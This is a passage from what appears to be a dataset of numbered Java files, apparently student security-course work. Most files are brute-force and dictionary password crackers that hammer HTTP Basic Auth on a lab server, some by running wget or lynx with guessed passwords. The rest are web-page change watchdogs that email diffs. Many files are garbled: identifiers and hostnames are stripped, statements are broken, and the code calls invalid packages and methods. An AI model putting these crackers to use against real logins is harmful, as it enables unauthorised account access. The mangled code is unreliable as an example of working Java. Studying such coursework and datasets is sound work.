      System.out.println(date.toString());
      System.exit(0);
    }

    
    for  (i = 0; i < 26; i++)
    { for  (j = 0; j < 26; j++)
      { for  (k = 0; k < 26; k++)
        {
           brutePass = lowerCase[i] + upperCase[j] + upperCase[k];
           bruteForce1.determinePass(args[0], args[1], brutePass);
           if  (wrongPass == 'N')
           { i = 26;
             j = 26;
             k = 26;
           }}}}

    if  (wrongPass == 'N')
    {
      date.setTime(System.currentTimeMillis());
      System.out.print(""End time is: "");
      System.out.println(date.toString());
      System.exit(0);
    }

    
    for  (i = 0; i < 26; i++)
    { for  (j = 0; j < 26; j++)
      { for  (k = 0; k < 26; k++)
        {
           brutePass = lowerCase[i] + upperCase[j] + lowerCase[k];
           bruteForce1.determinePass(args[0], args[1], brutePass);
           if  (wrongPass == 'N')
           { i = 26;
             j = 26;
             k = 26;
           }}}}

    if  (wrongPass == 'N')
    {
      date.setTime(System.currentTimeMillis());
      System.out.print(""End time is: "");
      System.out.println(date.toString());
      System.exit(0);
    }

    
    for  (i = 0; i < 26; i++)
    { for  (j = 0; j < 26; j++)
      { for  (k = 0; k < 26; k++)
        {
           brutePass = lowerCase[i] + lowerCase[j] + upperCase[k];
           bruteForce1.determinePass(args[0], args[1], brutePass);
           if  (wrongPass == 'N')
           { i = 26;
             j = 26;
             k = 26;
           }}}}

    date.setTime(System.currentTimeMillis());
    System.out.print(""End time is: "");
    System.out.println(date.toString());

  }

  private void getEncoded(String userName, String password){
    userPassword = userName + "":"" + password;
    base64_userPassword = new url.misc.BASE64Encoder().encode(userPassword.getBytes());
  }

}
"
170.java,"package java.httputils;

import java.io.BufferedReader;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.net.MalformedURLException;
import java.sql.Timestamp;


public class Dictionary extends BruteForce
{
    protected String wordFile;

    public Dictionary()
    {
        super();
    }

    public static void main(String[] args)
    {
        Dictionary dictionary = new Dictionary();

        if (args.length < 3)
        {
            System.out.println(dictionary.printUsage());
        }
        else
        {
            dictionary.setURL(args[0]);
            dictionary.setUserName(args[1]);
            dictionary.setWordFile(args[2]);

            if (args.length > 3)
            {
                dictionary.setFileName(args[3]);
            }
            dictionary.process();
            System.out.println(dictionary.printResult());
            System.exit(1);
        }
    }

    public void process()
    {
        attempts = 0;
        String password = """";
        
        setStart(new Timestamp(System.currentTimeMillis()));

        BufferedReader input = null;
        try
        {
            FileReader file = new FileReader(getWordFile());
            
            input = new BufferedReader(file);
            
        }
        catch (FileNotFoundException x)
        {
            System.err.println(""File not found: "" + getWordFile());
            System.exit(2);
        }

        try
        {
            while ((password = input.readLine()) != null)
            {
                try
                {
                    
                    attempts++;
                    BasicAuthHttpRequest req =
                        new BasicAuthHttpRequest(
                            getURL(),
                            getUserName(),
                            password);
                    setPassword(password);
                    setEnd(new Timestamp(System.currentTimeMillis()));
                    setContent(req.getContent().toString());

                    
                    if (getFileName() != null
                        && getFileName().length() > 0)
                    {
                        createReport();
                    }
                    return;
                }
                catch (MalformedURLException e)
                {
                    e.printStackTrace();
                    return;
                }
                catch (IOException e)
                {

                }
            }
        }
        catch (IOException x)
        {
            x.printStackTrace();
        }

        
        setEnd(new Timestamp(System.currentTimeMillis()));

    }

    public String printUsage()
    {
        StringBuffer s = new StringBuffer();

        s.append(""** BruteForce proper usage **\n\n"");
        s.append(
            ""java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\n\n"");

        return s.toString();
    }
    
    public String getWordFile()
    {
        return wordFile;
    }

    
    public void setWordFile(String string)
    {
        wordFile = string;
    }

}
"
053.java,"
import java.net.*;
import java.io.*;
import java.misc.*;

public class Dictionary
{
   public static void main (String args[])
   {
      
      String file = ""/usr/share/lib/dict/words"";
      FileReader fRead;
      BufferedReader buf;

      try
      {
         fRead = new FileReader(file);
         buf = new BufferedReader(fRead);
         String Password = """";
         int i=0;

         
         while( (Password = buf.readLine()) != null)
         {
            i++;
            String a = myurl(""http://sec-crack.cs.rmit.edu./SEC/2"", """", Password, i);
         }
      }
      catch(FileNotFoundException e)
      {
         System.out.println(""File not found"");
      }
      catch(IOException ioe)
      {
         System.out.println(""IO Error "" + ioe);
      }
   }

   public static String encode (String source)
   {
      BASE64Encoder enc = new source.misc.BASE64Encoder();
      return(enc.encode(source.getBytes()));
   }

   public static String myurl (String url, String Name, String Password, int val )
   {
      String thisLine;
      String retVal;
      URL u;
      URLConnection uc;
      retVal = """";

      try
      {
         u = new URL(url);
         try
         {
            uc = u.openConnection();
            if (Name != null)
            {
               uc.setRequestProperty(""Authorization"", "" "" + encode(Name + "":"" + Password));
            }
            InputStream content = (InputStream)uc.getInputStream();
            BufferedReader in = new BufferedReader (new InputStreamReader(content));

            String line;
            
            while ((line = in.readLine()) != null)
            {
               retVal += line;
               System.out.println(line);
               System.out.println(""password=""+Password+"";number:""+num);
               System.exit(0);
            }
         }
         catch (Exception e)
         {
            ;
            
         }
      }
      catch (MalformedURLException e)
      {
         return(url + "" is not a parseable URL"");
      }
      return retVal;
   }
}


"
132.java,"
import java.net.*;
import java.io.*;
import java.awt.*;


public class WatchDog extends Thread
{
   private String myUrl = ""http://yallara.cs.rmit.edu./~"";
   private PrintWriter p;
   private int changes = 0, flag = 0;
   private int FLAG = -1;
   private String fileName;


   public static void main (String args[])
   {
      WatchDog wd = new WatchDog();
   }


   public WatchDog()
   {
      readFile(""file1.txt"", flag);
      
   }


   public void run()
   {
      try
      {
         

         sleep(86400);
         readFile(""file2.txt"",1);
      }
      catch(Exception e)
      {   }
   }


   public void readFile(String fileName, int flag)
   {
      String data;

      File file = new File(fileName);
      file.delete();

      

      try
      {
         FileOutputStream fos = new FileOutputStream(fileName,true);
         PrintWriter pw = new PrintWriter(fos);

         URL url = new URL (myUrl);
         URLConnection urlCon = url.openConnection();

         InputStream is = (InputStream)urlCon.getInputStream();
         InputStreamReader isr = new InputStreamReader(is);
         BufferedReader  = new BufferedReader(isr);


         

          
          {
             data = sw.readLine();
             pw.println(data);
          } while (data != null);

          pw.close();

       }
       catch (Exception e)
       {   }

       

       if(flag == 0)
       {   }
       else 
       {
           if(flag == 1)
           {
              detectChanges();
           }
       }
   }


    public void detectChanges()
    {
       File file = new File(""difference.txt"");
       file.delete();
       String message = """", data ="""";

       try
       {
          

          FileOutputStream fos = new FileOutputStream(""difference.txt"",true);
          PrintWriter pw = new PrintWriter(fos);

          Process ps = Runtime.getRuntime().exec(""diff file1.txt file2.txt"");
          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));

          pw.println(readInputStream(ps.getInputStream()));
          pw.println(""\n"");
          pw.close();


          

          if(changes == 1)
          {
             FileReader f = new FileReader(""difference.txt"");
             BufferedReader bf  = new BufferedReader(f);


             Socket  = new Socket(""wombat.cs.rmit.edu."", 25);
             p = new PrintWriter(bf.getOutputStream());

             sendMail(null);
             sendMail(""HELO cs.rmit.edu."");
             sendMail(""MAIL FROM: @.rmit.edu."");
             sendMail(""RCPT : @.rmit.edu."");
             sendMail(""DATA"");

             
             {
                message = new String(message + data +""\n"");
             } while ((data = bf.readLine()) != null);


             p.print(message);
             sendMail(""."");
             
          }
        }
        catch(Exception e)
        {   }
    }



    public void sendMail(String text)
    {
       if(text == null)
       {   }
       else
       {
          TextArea message = new TextArea();

          message.append(text);
          message.append(""\n"");

          p.println(text);
          p.flush();
       }
    }

    String readInputStream(InputStream is)
    {
      String str;
      StringBuffer buf = new StringBuffer();
      InputStream isr = new BufferedInputStream(is);
      int check = 0;

      try
      {
         
         {
            buf.append((char)check);
            changes = 1;
         } while((check = isr.get()) != FLAG);
      }
      catch(IOException ioe)
      { }

      str = buf.toString();

      return str;
    }
}
"
137.java,"




import java.io.*;
import java.net.*;
import java.*;
import java.util.*;

public class Dictionary
{
	public static void main( String args[])
	{
          Runtime t = Runtime.getRuntime();
	  Process pr = null;
          int count=0;
	  String f,pass,temp1;

	  
         try{  
		
		FileReader fr = new FileReader(""words.txt"");
		BufferedReader bfread = new BufferedReader(fr);



		while((bf = bfread.readLine()) != null)
		{
		    
                   if( f.length() < 4 ) 
		    {
                     count++;
		     System.out.println(""The passowrd  tried is------>""+""-->""+count);
		     pass = f;
		     
 	
	             f =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/"";
		     pr = t.exec(f);
				
		     InputStreamReader  stre = new InputStreamReader(pr.getErrorStream());
                     BufferedReader bread = new BufferedReader(stre);
		     
                         while( ( bf= bread.readLine())!= null)
			  {
                          if(bf.equals(""HTTP request sent, awaiting response... 200 OK""))    
                           {
                              System.out.println(""Eureka!! Eureka!!! The password has been found it is:""+pass);



                              System.exit(0);
                           } 
			
                          }
	            }
				
			
		}
			
		fr.print();
		bfread.print();
	
             }catch(IOException e){}

	}
	
}			
"
034.java,"

class LoginAttemptResults
{
    
    private boolean success = false;
    
    private int passwordsTried = 0;
    

	
    public LoginAttemptResults()
    {
    }
    
	
    public void setSuccess (boolean inSuccess)
    {
        success = inSuccess;
    }
    
	
    public boolean getSuccess()
    {
        return success;
    }
    
	
    public void setPasswordsTried ( int inPasswordsTried)
    {
        passwordsTried = inPasswordsTried;
    }
    
	
    public int getPasswordsTried()
    {
        return passwordsTried;
    }
}   
"
160.java,"import java.io.*;


public class WatchDog
{
public static void main (String[] args)
{       String isdiff = new String();
        String[] cmd1 = {""//sh"",""-c"",""diff newfile.html oldfile.html > diff.txt""};
        String[] cmd2 = {""//sh"",""-c"",""mailx -s \""Web  Changed\"" \""@cs.rmit.edu.\"" < diff.txt""};

        try {


           while(true)
           {
              Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O oldfile.html"");
              Thread.sleep(43200000);
              Thread.sleep(43200000);
              Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O newfile.html"");
              Thread.sleep(2000);
              Runtime.getRuntime().exec(cmd1);
              Thread.sleep(2000);
              BufferedReader diff = new BufferedReader(new FileReader(""diff.txt""));
              if ((isdiff=diff.readLine()) != null)
              {
                 Runtime.getRuntime().exec(cmd2);
                 System.out.println(""Change Detected & Email Send"");
              }
              diff.print();
           }
        }

        catch (IOException err)
        {
         err.printStackTrace();
        }

         catch (InterruptedException err)
        {
         err.printStackTrace();
        }

}


}"
029.java,"
import java.net.*;
import java.*;
import java.io.*;
import java.util.GregorianCalendar;
public class Dictionary
{



    public void crackAddress(String fileName) throws Exception
    {
       String line,username="""",passwd,pass;
       int flag=0,i;
       BufferedReader bf = new BufferedReader(new FileReader(fileName));
       Runtime run = Runtime.getRuntime();
       GregorianCalendar =new GregorianCalendar();
       while((passwd=bf.readLine().trim())!=null)
       {
           if((i=passwd.indexOf(""\'""))!= -1)
                 {
                    passwd =passwd.substring(0,i)+(""\\"")+(passwd.substring(i,passwd.length()));
                 }

          System.out.println(""Hack password with the word:""+passwd);
	      String command_line = ""lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=""+username+"":""+passwd+"" -dump"";
	      Process result = run.exec(command_line);
          BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));

        while((line=bf.readLine())!=null)
        {
           flag=1;
           break;

        }
        if(flag==1)
        {
           System.out.println(""The username is: ""+username+"" The password is: ""+passwd);
           break;
        }
       }
       GregorianCalendar end=new GregorianCalendar();
       double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;
       System.out.println(""The attack use""+time+"" seconds."");
    }

public static void main(String args[]) throws Exception
{
   Dictionary ds = new Dictionary();
   ds.crackAddress(args[0]);
}
}"
166.java,"package java.httputils;

import java.io.IOException;
import java.net.MalformedURLException;
import java.sql.Timestamp;


public class RunnableBruteForce extends BruteForce implements Runnable
{
    protected int rangeStart, rangeEnd;
    protected boolean stop = false;
    
    public RunnableBruteForce()
    {
        super();
    }

    
    public void run()
    {
        process();
    }

    public static void main(String[] args)
    {
    }
    
    public int getRangeEnd()
    {
        return rangeEnd;
    }

    
    public int getRangeStart()
    {
        return rangeStart;
    }

    
    public void setRangeEnd(int i)
    {
        rangeEnd = i;
    }

    
    public void setRangeStart(int i)
    {
        rangeStart = i;
    }

    
    public boolean isStop()
    {
        return stop;
    }

    
    public void setStop(boolean b)
    {
        stop = b;
    }

    public void process()
    {
        String password = """";
        
        System.out.println(Thread.currentThread().getName() +
                            ""->  workload: "" +
                            this.letters[getRangeStart()] + ""  "" +
                            this.letters[getRangeEnd() - 1]);
        setStart(new Timestamp(System.currentTimeMillis()));

        for (int i = getRangeStart();
            i < getRangeEnd();
            i++)
        {
            System.out.println(Thread.currentThread().getName() +
                    ""-> Trying words beginning with: "" +
                    letters[i]);
            for (int i2 = 0;
                i2 < letters.length;
                i2++)
            {
                for (int i3 = 0;
                    i3 < letters.length;
                    i3++)
                {
                    if (isStop())
                    {
                        return;
                    }
                    try
                    {
                        char [] arr = new char [] {letters[i], letters[i2], letters[i3]};
                        String pwd = new String(arr);
                        
                        if (Thread.currentThread().getName().equals(""Thread-1"") && pwd.equals(""bad""))
                        {
                            System.out.println(Thread.currentThread().getName() +
                                   ""-> Trying password: "" +
                                    pwd);
                        }
                        attempts++;

                        BasicAuthHttpRequest req =
                            new BasicAuthHttpRequest(
                                getURL(),
                                getUserName(),
                                pwd);
                        System.out.println(""Got the password"");
                        setPassword(pwd);
                        setEnd(new Timestamp(System.currentTimeMillis()));
                        setContent(req.getContent().toString());

                        
                        this.setChanged();
                        this.notifyObservers(this.getContent());
                        return;
                    }
                    catch (MalformedURLException e)
                    {
                        e.printStackTrace();
                        return;
                    }
                    catch (IOException e)
                    {

                    }
                }
            }
        }

        
        setEnd(new Timestamp(System.currentTimeMillis()));
    }

}
"
044.java,"import java.net.*;
import java.io.*;


public class Dictionary {
  private String strUserName;
  private String strURL;
  private String strDictPath;
  private int iAttempts;

    
    public Dictionary(String strURL,String strUserName,String strDictPath) {
    this.strURL = strURL;
    this.strUserName = strUserName;
    this.iAttempts = 0 ;
    this.strDictPath = strDictPath;
    }
  

  public String getPassword(){
      URL u;
      String result ="""";
      PassGenDict PG = new PassGenDict(3,strDictPath);
      URLConnection uc;
      String strPassword = new String();
      String strEncode;
        try{
        while (result.compareTo(""HTTP/1.1 200 OK"")!=0){
      
          strEncode = PG.getNewPassword();
          u = new URL(strURL);
          uc = u.openConnection();
          uc.setDoInput(true);
          uc.setDoOutput(true);
          strPassword = strEncode;
          strEncode =  strUserName + "":"" + strEncode;
          
        strEncode = new String(Base64.encode(strEncode.getBytes()));
          uc.setRequestProperty(""Authorization"","" "" + strEncode);
            
      result = uc.getHeaderField(0);
          uc = null;
          u = null;
          iAttempts++;
        }

      }
      catch (Exception me) {
      System.out.println(""MalformedURLException: ""+me);
      }
      return(strPassword);
  }
 
   public int getAttempts(){
    return (iAttempts);
  };
  
  public static void  main(String arg[]){
     timeStart = 0;
     timeEnd = 0;
    
    if (arg.length == 3) {
    Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]);

    System.out.println(""Processing ... "");
    timeStart = System.currentTimeMillis();
    System.out.println(""Password = "" + BF.getPassword());
    timeEnd = System.currentTimeMillis();
    System.out.println(""Total Time Taken = "" + (timeEnd - timeStart) + "" (msec)"");
    System.out.println(""Total Attempts  = "" + BF.getAttempts());
    }
    else {
       System.out.println(""[Usage] java BruteForce <URL> <USERNAME> <Dictionary path>"");

    }

  }
}


class PassGenDict {

  private char[] password;
  private String line;
  int iPassLenght;
  private BufferedReader inputFile;
  public PassGenDict(int lenght, String strDictPath) {
    try{
      inputFile = new BufferedReader(new FileReader(strDictPath));
    }
    catch (Exception e){
    }
    iPassLenght = lenght;
  }
   
 public String getNewPassword()
    throws PasswordFailureException{
    try {
      {
        line = inputFile.readLine();
      }while (line.length() != iPassLenght);

    }
    catch (Exception e){
      throw new PasswordFailureException ();
    }
    return (line);
  }
}

class PasswordFailureException extends RuntimeException {

  public PasswordFailureException() {
  }
}"
232.java,"import java.util.*;
import java.io.*;
import java.*;

public class WatchDog
{
   public static void main (String [] args) throws Exception
   {      
      executes(""rm index.*"");
      executes(""wget http://www.cs.rmit.edu./students"");

      while (true)
      {
         String addr= ""wget http://www.cs.rmit.edu./students"";
         executes(addr);
         String hash1 = md5sum(""index.html"");
         String hash2 = md5sum(""index.html.1"");
         System.out.println(hash1 +""|""+ hash2);
      
         if (hash1.equals(hash2))
         {    
         
         }
         else
         {
           executes("".~/Assign2/difference.sh"");            
           executes("".~/Assign2/mail1.sh"");
         }

         executes(""rm index.html"");
         executes(""cp index.html.1 index.html"");
         executes(""rm index.html.1"");
         executes(""sleep 86400""); 
     }
   }

   public static void executes(String comm) throws Exception
   {
   Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",""-c"", comm });

         BufferedReader  = new BufferedReader(new InputStreamReader(p.getErrorStream()));

         String s;
         while(( s = bf.readLine()) != null)
         {
            System.out.println();
         }
	 p.waitFor();
   }

   public static String md5sum(String file) throws Exception
   {
      String s;
      String hash= ""  "";      

      Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",
                                             ""-c"", ""md5sum ""+file });
      BufferedReader b = new BufferedReader(new InputStreamReader(p.getInputStream()));

      while((b = bf.readLine()) != null)
      {
         StringTokenizer word=new StringTokenizer();
         hash=word.nextToken();
         System.out.println(hash);
      }
      return hash;      

   }
}

"
001.java,"


import java.io.*;

class WatchDog {

	public static void main(String args[]){
		Calls c = new Calls();
		
		c.retrieveFile(""students/"");
        c.retrieveFile(""images/newcsitlogo.jpg"");
        c.retrieveFile(""images/rmitcsit.jpg"");
        c.retrieveFile(""images/helix.jpg"");

        
		String checksum = c.getChecksum(""index.html"");
		String imgchecksum1 = c.getChecksum(""newcsitlogo.jpg"");

        String imgchecksum3 = c.getChecksum(""rmitcsit.jpg"");

        String imgchecksum5 = c.getChecksum(""helix.jpg"");

        System.out.println(""Checksum of original file "" +checksum);
        System.out.println(""Checksum of image 1 "" +imgchecksum1);

        System.out.println(""Checksum of image 2"" +imgchecksum3);

        System.out.println(""Checksum of image 3"" +imgchecksum5);

        for(int x = 0; x < 3;x++){
		
		System.out.println(""Watchdog switching  sleep state -> 24hrs"");
        try{
            Thread.sleep(86400000);
		}
		catch(Exception e){
		    System.out.println(""Exception in sleep: ""+e);
        }
        System.out.println(""Watchdog switching  running state"");

		
		c.retrieveFile(""students/"");
        c.retrieveFile(""images/newcsitlogo.jpg"");

        c.retrieveFile(""images/rmitcsit.jpg"");

        c.retrieveFile(""images/helix.jpg"");

		
	    String newchecksum = c.getChecksum(""index.html.1"");


        String newimgchecksum1 = c.getChecksum(""newcsitlogo.jpg.1"");

        String newimgchecksum3 = c.getChecksum(""rmitcsit.jpg.1"");

        String newimgchecksum5 = c.getChecksum(""helix.jpg.1"");

        System.out.println(""Checksum of new  "" +newchecksum);
        System.out.println(""Checksum of new image 1 "" +newimgchecksum1);

        System.out.println(""Checksum of new image 2"" +newimgchecksum3);

        System.out.println(""Checksum of new image 3"" +newimgchecksum5);


        
        if(newchecksum.equals(checksum) && newimgchecksum1.equals(imgchecksum1) && newimgchecksum3.equals(imgchecksum3)  && newimgchecksum5.equals(imgchecksum5))
	        System.out.println("" Changes Detected "");
        else{
            
            System.out.println(""Changes Detected "");
            c.spotDiff();
            
            c.mail();
        }

        


        
	    c.deletePage(""index.html.1"");
	    c.deletePage(""newcsitlogo.jpg.1*"");
          c.deletePage(""rmitcsit.jpg.1*"");
            c.deletePage(""helix.jpg.1*"");
       }

    }

}



class Calls{
	public void retrieveFile(String file){
		try{
			Process p = Runtime.getRuntime().exec(""wget -nv http://www.cs.rmit.edu./"" +file);

			InputStream is = p.getErrorStream();
			BufferedReader bf = new BufferedReader(new InputStreamReader(is));

			String tempLine="""";
			tempLine = bf.readLine();
			System.out.println(tempLine);

		}

		catch(Exception e){
			System.out.println(""Exc in retrievePage() "" +e);
		}
	}
	public String getChecksum(String cadena) {
		String tempLine="""";
		try{
			Process p = Runtime.getRuntime().exec(""/usr/local//md5sum "" + cadena);

			InputStream is = p.getInputStream();
			BufferedReader bf = new BufferedReader(new InputStreamReader(is));
			tempLine = bf.readLine();

		}
		catch(Exception e){
			System.out.println(e);
		}
		return tempLine.substring(0,32);
	}

	public void deletePage(String temp) {
		String [] cad= new String[3];
        cad[0]=""//sh"";
        cad[1]=""-c"";
        cad[2]=""rm "" + temp;
        String tempLine="""";
		try{
			Process p = Runtime.getRuntime().exec();
		}
		catch(Exception e){
			System.out.println(e);
		}

	}

    public void spotDiff(){
        String tempLine="""";

        try{
            FileWriter fwr = new FileWriter(""report.txt"");
            BufferedWriter bwr =  new BufferedWriter(fwr);
            PrintWriter pwr = new PrintWriter(bwr);

            Process p = Runtime.getRuntime().exec(""diff .html .html.1"");
            InputStream is = p.getInputStream();
			BufferedReader bf = new BufferedReader(new InputStreamReader(is));

            pwr.println(""Changes in index.html"");
            pwr.flush();

            while((tempLine = bf.readLine())!=null)
			{
			    System.out.println(tempLine);
                pwr.println(tempLine);
                pwr.flush();
            }
            pwr.println(""------------------------------------------------"");
            pwr.flush();
            pwr.println(""Changes in Images"");
            pwr.flush();

            Process p1 = Runtime.getRuntime().exec(""diff newcsitlogo.jpg newcsitlogo.jpg.1"");
            InputStream ist = p1.getInputStream();
			BufferedReader bre = new BufferedReader(new InputStreamReader(ist));

            while((tempLine = bre.readLine())!=null)
			{
			    System.out.println(tempLine);
                pwr.println(tempLine);
                pwr.flush();
            }



            Process p3 = Runtime.getRuntime().exec(""diff rmitcsit.jpg rmitcsit.jpg.1"");
            InputStream ist2 = p3.getInputStream();
			BufferedReader bre2 = new BufferedReader(new InputStreamReader(ist2));

            while((tempLine = bre2.readLine())!=null)
			{
			    System.out.println(tempLine);
                pwr.println(tempLine);
                pwr.flush();
            }



            Process p5 = Runtime.getRuntime().exec(""diff helix.jpg helix.jpg.1"");
            InputStream ist4 = p5.getInputStream();
			BufferedReader bre4 = new BufferedReader(new InputStreamReader(ist4));

            while((tempLine = bre4.readLine())!=null)
			{
			    System.out.println(tempLine);
                pwr.println(tempLine);
                pwr.flush();
            }


        }
        catch(Exception e){
            System.out.println(""Exception Spot Difference : "" +e);
        }
    }

    public void mail(){
           String mail[] = new String[3];
           mail[0]=""//sh"";
           mail[1]=""-c"";
           mail[2]=""mailx @cs.rmit.edu. < report.txt"";
           try{
               Process p = Runtime.getRuntime().exec(mail);
           }
           catch(Exception e){
                System.out.println(""Exception mail: "" +e);
           }
    }


}
"
009.java,"

import java.util.*;
import java.text.*;
import java.io.*;
import java.*;
import java.net.*;

public class WatchDog
{
   public static void main(String args[])
   {
      String s = null;
      String webpage = ""http://www.cs.rmit.edu./students/"";
      
      
      String file1 = ""file1"";
      String file2 = ""file2"";
      
      try
      {
         Process p = Runtime.getRuntime().exec(""wget -O "" + file1 + "" "" + webpage);
         
         BufferedReader stdInput = new BufferedReader(new 
                 InputStreamReader(p.getInputStream()));

         BufferedReader stdError = new BufferedReader(new 
                 InputStreamReader(p.getErrorStream()));

            
         while ((s = stdInput.readLine()) != null) { 
            System.out.println(s);
         }
            
            
         while ((s = stdError.readLine()) != null) { 
            System.out.println(s);
         }
         
         try
         {
            p.waitFor(); 
         }
         catch (InterruptedException g)  
         {
         }  
      }
      catch (IOException e) {
         System.out.println(""exception happened - here's what I know: "");
         e.printStackTrace();
         System.exit(-1);
      }
      
      while (true)  
      {
         try
         {
            Process p = Runtime.getRuntime().exec(""sleep 86400""); 
             
            BufferedReader stdInput = new BufferedReader(new 
                 InputStreamReader(p.getInputStream()));

            BufferedReader stdError = new BufferedReader(new 
                 InputStreamReader(p.getErrorStream()));

            
            while ((s = stdInput.readLine()) != null) { 
               System.out.println(s);
            }
            
            
            while ((s = stdError.readLine()) != null) { 
               System.out.println(s);
            }
         
            try
            {
               p.waitFor(); 
            }
            catch (InterruptedException g)  
            {
            }  
         }
         catch (IOException e) 
         {
            System.out.println(""exception happened - here's what I know: "");
            e.printStackTrace();
            System.exit(-1);
         } 
         try 
         {
            Process p = Runtime.getRuntime().exec(""wget -O "" + file2 + "" "" + webpage);
            
            BufferedReader stdInput = new BufferedReader(new 
                 InputStreamReader(p.getInputStream()));

            BufferedReader stdError = new BufferedReader(new 
                 InputStreamReader(p.getErrorStream()));

            
            while ((s = stdInput.readLine()) != null) { 
               System.out.println(s);
            }
            
            
            while ((s = stdError.readLine()) != null) { 
               System.out.println(s);
            }
         
            try
            {
               p.waitFor(); 
            }
            catch (InterruptedException g)  
            {
            }  
         
         }
         catch (IOException e) 
         {
            System.out.println(""exception happened - here's what I know: "");
            e.printStackTrace();
            System.exit(-1);
         }
         try 
         {
            
            Process p = Runtime.getRuntime().exec(""diff "" + file1 + "" "" + file2);
            
            BufferedReader stdInput = new BufferedReader(new 
                 InputStreamReader(p.getInputStream()));

            BufferedReader stdError = new BufferedReader(new 
                 InputStreamReader(p.getErrorStream()));    
            
             
            while ((s = stdError.readLine()) != null) { 
               System.out.println(s);
            }
         
            try
            {
               p.waitFor(); 
            }
            catch (InterruptedException g)  
            {
            }
            
            if ((p.exitValue()) == 1) 
            { 
            
               String mailServerURL = ""yallara.cs.rmit.edu."";
               String host = ""yallara.cs.rmit.edu."";
               String from = ""@yallara.cs.rmit.edu."";
               
               String subject = ""Change Detected In WatchDog.java"";
     
               try
               {
               	
                  Socket csoc=new Socket(mailServerURL,25);
                  BufferedReader in=new BufferedReader(
                           new InputStreamReader(csoc.getInputStream()));
                  
                  PrintWriter out=new PrintWriter(csoc.getOutputStream(),true);
                  System.out.println(""HELO ""+host);
                  System.out.println(in.readLine());
                  out.println(""MAIL FROM:""+from);
                  System.out.println(in.readLine());
                  System.out.println(in.readLine());
                  System.out.println(""DATA"");
                  System.out.println(in.readLine());
                  System.out.println(""SUBJECT:""+subject);
                  System.out.println(in.readLine());
                  
                  
                  while ((s = stdInput.readLine()) != null){
                     System.out.println(s);
                  }
                  out.println(""."");
                  System.out.println(in.readLine());
                  System.out.println(""QUIT"");
                  System.out.println(in.readLine());                
               }
               catch(Exception e)
               {
                  e.printStackTrace();
                  System.out.println(""Some error occoured while communicating  server"");
               }
            }      
         }
         catch (IOException e) 
         {
            System.out.println(""exception happened - here's what I know: "");
            e.printStackTrace();
            System.exit(-1);
         }
      }  
   }
}"
007.java,"



import java.io.*;
import java.*;
import java.net.*;

public class Dictionary
{

   static BufferedReader in = null;
   static MyAuthenticator Auth = new MyAuthenticator();

 
   public static void main(String[] args) throws IOException
   {
      int tmp = 0;
      String str ="""";
      Authenticator.setDefault(Auth);
 
      try
      {
         URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");

         
         
         while(tmp!=1)
         {
            try
            {
               in = new BufferedReader(new InputStreamReader(url.openStream()));
               tmp=1;
            }
            catch (IOException e) {}
            
         }         

         while ((str = in.readLine()) != null) 
         {
            
            
            
         }
         

         System.out.println(""The successful Password found using a Dictionary search is = "" + Auth.finalPass());

      } 
      catch (MalformedURLException e) 
         {System.out.println(""mfURL"");}
   }    


}

class MyAuthenticator extends Authenticator 
{
   String username = """";
   static String password = """";
   
   static String DictFile = ""/usr/share/lib/dict/words"";
   static BufferedReader fReader;

   public MyAuthenticator()
   {
      try
      {
          fReader = new BufferedReader
                            (new FileReader(DictFile));
      }
      catch (FileNotFoundException e)
      {
         System.out.println(""File "" +DictFile+ "" Not Found"");
         System.out.println("" File Opened"");
         System.exit(1);
      }
      catch (IOException e)
      {
         System.out.println(""File  Failed.."");
         System.exit(1);
      }

   }

   static void setPass(String pswd)
   {
      password = pswd;
   }

   static String finalPass()
   {
      return password;
   }

   static String getPass()
   {
      try
      {
         if ((password = fReader.readLine()) == null)
         {
            System.out.println(""Password Not found in file '"" + DictFile +""'."");
            System.exit(1);
         }
      }
      catch (IOException ioe)
      {
         System.out.println(""File IOException"");
         System.out.println(ioe);
      }

      return password;
   }



   protected PasswordAuthentication getPasswordAuthentication() 
   { 
      
      return new PasswordAuthentication(username, getPass().toCharArray()); 

   } 
}
"
058.java,"

import java.io.*;
import java.util.*;
import java.net.*;


public class BruteForce {

	public BruteForce() {
		
	}

	public static void main(String[] args) {

	String[] validPW = { ""a"", ""b"", ""c"", ""d"", ""e"", ""f"", ""g"", ""h"", ""i"", ""j"", ""k"", ""l"", ""m"",
			""n"", ""o"", ""p"", ""q"", ""r"", ""s"", ""t"", ""u"", ""v"", ""w"", ""x"", ""y"", ""z"",
			""A"", ""B"", ""C"", ""D"", ""E"", ""F"", ""G"", ""H"", ""I"", ""J"", ""K"", ""L"", ""M"",
			""N"", ""O"", ""P"", ""Q"", ""R"", ""S"", ""T"", ""U"", ""V"", ""W"", ""X"", ""Y"", ""Z"" };

	String attackWP = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
	String userID = """";
	int trytimes = 0;
	int count=52;
	String userPassword="""";
	try {
		 startmillisecond = System.currentTimeMillis();
	
		for (int i = 0; i < count; i++) {
                  for (int j = 0; j < count; j++) {
                    for (int k = 0; k < count; k++) {
			trytimes ++;
			userPassword = userID + "":"" + validPW[i] + validPW[j] + validPW[k];
			int attackOK = new BruteForce().attackURL(userPassword, attackWP);
			if (attackOK == 1) {
				 endmillisecond = System.currentTimeMillis();
				 searchmillisecond = endmillisecond - startmillisecond;
				System.out.println(""Match in "" + searchmillisecond + "" milliseconds "");
				System.out.println(""Try "" + trytimes + "" times "");
				System.exit(1);
			}
		    }
		  }
		}
	
		for (int i = 0; i < count; i++) {
                  for (int j = 0; j < count; j++) {
			trytimes ++;
			userPassword = userID + "":"" + validPW[i] + validPW[j];
			int attackOK = new BruteForce().attackURL(userPassword, attackWP);
			if (attackOK == 1) {
				 endmillisecond = System.currentTimeMillis();
				 searchmillisecond = endmillisecond - startmillisecond;
				System.out.println(""Match in "" + searchmillisecond + "" milliseconds "");
